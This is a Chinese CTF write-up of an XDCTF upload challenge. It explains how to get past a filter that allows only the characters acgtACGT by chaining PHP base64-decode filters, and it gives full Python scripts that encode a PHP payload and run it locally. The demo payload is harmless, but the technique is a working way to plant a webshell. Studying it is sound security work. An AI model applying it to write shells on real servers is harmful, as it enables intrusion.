作者:Lucifaer
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
在十一的XDCTF中有一道Upload题引出的如何通过固定的几个字符,利用php伪协议中的convert.base64-encode来写shell。
0x00 一道题引出的话题
我们首先抛砖引玉,来看一下这道题的关键代码:
<?php
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
这道题限制了使用php://input、data://、read://。关键的考点就是如何过这个正则/[^acgt]/is。
ok,正则表示我们只能使用acgtACGT这么8个字符,那么我们如何通过这8个字符来写shell呢?
下面我们就用这8个字符来尝试生成我们的payload,以达到执行我们的php代码的目的。
0x01 解决问题的关键——base64解码函数tips
解决上述问题的关键,就是base64的解码规则。
首先你应该知道的:
base64使用的字符包括大小写字母26个,加上10个数字,和+、/共64个字符。
base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。
举个例子:
以r举例,我们可以看到可以通过ctTT进行base64解码后取得:
那么我们顺着这个思路,就可以得到一张通过已经给出的8个字符所得到的所有字符的字符表:
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
if __name__ == '__main__':
chars = 'acgtACGT'
pprint(exchange(chars))
代码很简单,就是将acgtACGT取了单位元组为4个元素的笛卡尔积,之后将每个笛卡尔积所组成的新的字符串进行base64解码,结果如下:
目前只有26个元素,剩下的怎么得到呢?
我们改一下我们的脚本:
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False
if __name__ == '__main__':
chars = 'acgtACGT'
pprint(limited_exchanging(chars))
最后可以得到这样的映射表:
图很长,就不截了。
通过base64解码的特性,我们将8个字符拓展到了64个字符,接下来就是将我们的原数据进行转换就好了。
0x02 剩下的一些要注意的点
1. decode次数的问题
根据上面的代码,我们只需要len(tables)就可以知道我们转换经历了几次的过程,这边len(tables)是3次。
需要注意的是,在利用php://filter/convert.base64-decode/resource=的时候,需要len(tables) + 1,也就是说是4次,没毛病吧。
2. 在利用我们得出的映射表时,怎么迭代向前替换问题
将tableslist从后向前遍历,最后得到的即为全部是指定字符的payload。
0x03 最终的脚本
import base64
import string
import os
from itertools import product
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 得到payload完成base64编码后需要进行替换的向量
def payload_base64_encode(data):
return base64.b64encode(data).decode().replace("n", "").replace("=", "")
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
# 迭代得出完整的映射表
def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d exchange_chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False
# 得到最后的payload
def create_payload(tables, data):
encoded = payload_base64_encode(data)
print("[+] Payload base64: " + encoded)
result = encoded
for d in tables[::-1]:
encoded = result
result = ""
for i in encoded:
result += d[i]
return result
def main():
payload = b"<?php echo "hacked by lucifaer"?>"
limit_chars = 'acgtACGT'
filename = limit_chars
tables = limited_exchanging(limit_chars)
if tables:
cipher = create_payload(tables, payload)
with open(filename, "w") as f:
f.write(cipher)
print("[+] The encoded data is saved to file (%d Bytes) : %s" % (len(cipher), filename))
command = "php -r 'include("" + "php://filter/convert.base64-decode/resource=" * (
len(tables) + 1) + "%s");'" % (filename)
print("[+] Usage : %s" % command)
print("[+] Executing...")
os.system(command=command)
else:
print("[-] Failed: %s" % tables)
if __name__ == '__main__':
main()
0x04 总结
这道题提出了一个比较好的思路,值得学习